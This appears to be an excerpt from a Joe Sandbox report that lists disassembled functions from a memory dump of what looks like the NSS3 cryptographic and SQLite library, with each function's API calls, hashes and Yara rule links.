Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 5dd4fcd263a0f4ccf8331ffbff238ef4d10226e3cfea0ed7514728ca17bf3ed3
Instruction ID: a95318b8f6774e5796a6997aa557d7f95aa8ce676bec8141d78a1cc6e5d92d85
Opcode Fuzzy Hash: 5dd4fcd263a0f4ccf8331ffbff238ef4d10226e3cfea0ed7514728ca17bf3ed3
Instruction Fuzzy Hash: 9161AFB5E192098FDB00CF69C8407EEB7B2EF8530AF284165D815ABB51E731DC15CB99

Function 6C688F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C687313), ref: 6C688FBB

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C687313), ref: 6C689012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C687313), ref: 6C68903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C68909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C6890DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C687313), ref: 6C6890F1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C687313), ref: 6C68906B

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C687313), ref: 6C689128

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 5a82c090b3c35340ac15e50990554db0e619f223c76ba1305897fd3d4d90621a
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 1051C071A062019FEB10CF6ADC84B26B3F9AF4531CF154029E955D7B61EB32E800CBB9

Function 6C639C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C638850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C640715), ref: 6C638859
Part of subcall function 6C638850: PR_NewLock.NSS3 ref: 6C638874
Part of subcall function 6C638850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C63888D

PR_NewLock.NSS3 ref: 6C639CAD

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C639CE8
EnterCriticalSection.KERNEL32(?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D01
TlsGetValue.KERNEL32(?,?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D38
EnterCriticalSection.KERNEL32(?,?,6C63ECEC,6C642FCD,00000000,?,6C642FCD,?), ref: 6C639D4D
PR_Unlock.NSS3 ref: 6C639D70
PR_Unlock.NSS3 ref: 6C639DC3
PR_NewLock.NSS3 ref: 6C639DDD

Part of subcall function 6C6388D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638906
Part of subcall function 6C6388D0: EnterCriticalSection.KERNEL32(?), ref: 6C63891A
Part of subcall function 6C6388D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C63894A
Part of subcall function 6C6388D0: calloc.MOZGLUE(00000001,6C64072D,00000000,00000000,00000000,?,6C640725,00000000,00000058), ref: 6C638959
Part of subcall function 6C6388D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C638993
Part of subcall function 6C6388D0: PR_Unlock.NSS3(?), ref: 6C6389AF

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: b95613fdc48bafb38a02e802d8e5998f48e4f14a2b0eaa0d15401923a595d111
Instruction ID: c65fe7741c4a3e4ae5325551fd6c284cf63cf2c80ef5206e5ddb96c0a24a5be9
Opcode Fuzzy Hash: b95613fdc48bafb38a02e802d8e5998f48e4f14a2b0eaa0d15401923a595d111
Instruction Fuzzy Hash: 015193B0A05B158FDB01EF68C08569ABBF0BF45349F15A569D89CDB710DB30E844CF99

Function 6C739EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C739EC0
EnterCriticalSection.KERNEL32(?), ref: 6C739EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C739F73
EnterCriticalSection.KERNEL32(?), ref: 6C739FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C739FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C739FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C73A01D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 8aa63f35b51a9e8152b4419344d12e3258e3ac044d4b545212a480590a703d9d
Instruction ID: 024838c9a732b782321a745fe03b54c8afae15e1d8f3aeb7cf05d9dac91b3528
Opcode Fuzzy Hash: 8aa63f35b51a9e8152b4419344d12e3258e3ac044d4b545212a480590a703d9d
Instruction Fuzzy Hash: 8E51F0B2804211CBCB109F21D88468AB7F4FF19319F25866AD85D57B23EB31E884CBD5

Function 6C62DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C62DCFA

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C62DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C62DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C62DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C62DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C62DD8F

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

CERT_DestroyCertificate.NSS3(?), ref: 6C62DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C62DDB7

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 59a93d409369cb4b3b1e19fb1f968f93cbd3c8b5936da8313e44263838079b31
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 4D2180B6E019255BDB019E94DC40ADE77B4EF05318B144824E814A7705E729E915CFE9

Function 6C6B5F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5F72

Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61ED8F
Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61ED9E
Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FCC
free.MOZGLUE(?,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FF4
free.MOZGLUE(?,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6036

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 3960ace481856d201b58166893985441e78a632deb6f1c23a4f28f10fda51ebc
Instruction ID: afb2aa26df23ceb7e58142cfa93b926d199fd9e8900df2c8f0cc525a24e9f40e
Opcode Fuzzy Hash: 3960ace481856d201b58166893985441e78a632deb6f1c23a4f28f10fda51ebc
Instruction Fuzzy Hash: 2F211DF5A04B049BEA119F75D808BD7B7F8AB4570DF14092CE45A97A40D736E018CBA5

Function 6C623C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C69460B,?,?), ref: 6C623CA9
EnterCriticalSection.KERNEL32(?), ref: 6C623CB9
PL_HashTableLookup.NSS3(?), ref: 6C623CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C623CD6
PR_Unlock.NSS3 ref: 6C623CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C623CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C623D03
PR_Unlock.NSS3 ref: 6C623D15

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 521d74ecfe2d385473a61c2ee739d1c86e8f91efc2f0ba23a8fdeb91b807ae13
Instruction ID: 9e2543a7187c5dc0ca8830828d423ac944374ac63f952f20e2b9f2d5bb4e5d1f
Opcode Fuzzy Hash: 521d74ecfe2d385473a61c2ee739d1c86e8f91efc2f0ba23a8fdeb91b807ae13
Instruction Fuzzy Hash: 7B1129B6E41105A7DB011624AC05CAA3ABCEB0335EB290530ED1893B11FB32D9589BE9

Function 6C629C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6411C0: PR_NewLock.NSS3 ref: 6C641216

free.MOZGLUE(?), ref: 6C629E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C629E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C629E4E
TlsGetValue.KERNEL32 ref: 6C629EA2

Part of subcall function 6C639500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C639546

EnterCriticalSection.KERNEL32(?), ref: 6C629EB6
PR_Unlock.NSS3 ref: 6C629ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C629F18

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2e80bf803100155fd9f44f7971c51255122d753d170a31008529cbb2f5154c57
Instruction ID: 4b4a9a8f23674efd48a6279be3bfdd2c2763597be8a46c43eb7363a7b8eb203a
Opcode Fuzzy Hash: 2e80bf803100155fd9f44f7971c51255122d753d170a31008529cbb2f5154c57
Instruction Fuzzy Hash: A3810871A00601ABE7109F34DC40AEB77E5BF8634CF145528EC8987B51FB35E855CBA9

Function 6C63DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(D958E852,6C641397,5B5F5EC0,?,?,6C63B1EE,2404110F,?,?), ref: 6C63AB3C
Part of subcall function 6C63AB10: free.MOZGLUE(D958E836,?,6C63B1EE,2404110F,?,?), ref: 6C63AB49
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(5D5E6C83), ref: 6C63AB5C
Part of subcall function 6C63AB10: free.MOZGLUE(5D5E6C77), ref: 6C63AB63
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C63AB6F
Part of subcall function 6C63AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C63AB76

TlsGetValue.KERNEL32 ref: 6C63DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C63DD0E
PK11_IsFriendly.NSS3(?), ref: 6C63DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C63DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63DEA6
PR_Unlock.NSS3(?), ref: 6C63DF08

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: c7a1a00d42e3902e066f86a658a81af744641d6c1fa9c6606d4e93972442d924
Instruction ID: c4e645abd2de4fe0d27f52b7ae7d4da9798789e617e2f5226788902220b8230e
Opcode Fuzzy Hash: c7a1a00d42e3902e066f86a658a81af744641d6c1fa9c6606d4e93972442d924
Instruction Fuzzy Hash: BD91E6B5A001159FDB01CF68C880BAABBF5FF45308F15A029DC1D9B752EB31E916CB99

Function 6C5F5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F60AB
sqlite3_config.NSS3(00000004,6C744CA4,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F60EB
sqlite3_config.NSS3(00000012,6C744CC4,?,?,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F6122

Strings

misuse, xrefs: 6C5F609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F6095
%s at line %d of [%.10s], xrefs: 6C5F60A4

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 7790f45ddee7197b007cb7f9d899921c06aa613f8fdafac0d842cae944820a34
Instruction ID: d0123630c17adb9fb2390a7671cbf806feafe633f45c7a1cf8ba4905f20c7c4e
Opcode Fuzzy Hash: 7790f45ddee7197b007cb7f9d899921c06aa613f8fdafac0d842cae944820a34
Instruction Fuzzy Hash: 77B16574E0475ECFCB09CF58C6449A9B7F0FB1E304B258569D509AB321DB30AA45CFA5

Function 6C5A4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5A51BB

Strings

misuse, xrefs: 6C5A51AF
unable to delete/modify user-function due to active statements, xrefs: 6C5A51DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5A51A5
%s at line %d of [%.10s], xrefs: 6C5A51B4

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 48cbce6bbd27cb405e648afa8296064d0506712b8843cf3c23843231a6d97fbd
Instruction ID: 1247f700d9dd7bcdd6f14d8333a180e53649c3a0e4f1582ee91c40948184a241
Opcode Fuzzy Hash: 48cbce6bbd27cb405e648afa8296064d0506712b8843cf3c23843231a6d97fbd
Instruction Fuzzy Hash: 31719CB1604609DBEB00CEA7DD80FAE77B5BB48308F544524FE199BB81D731E952CBA1

Function 6C68FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C68F165,6C75219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C68FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C6900A6

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
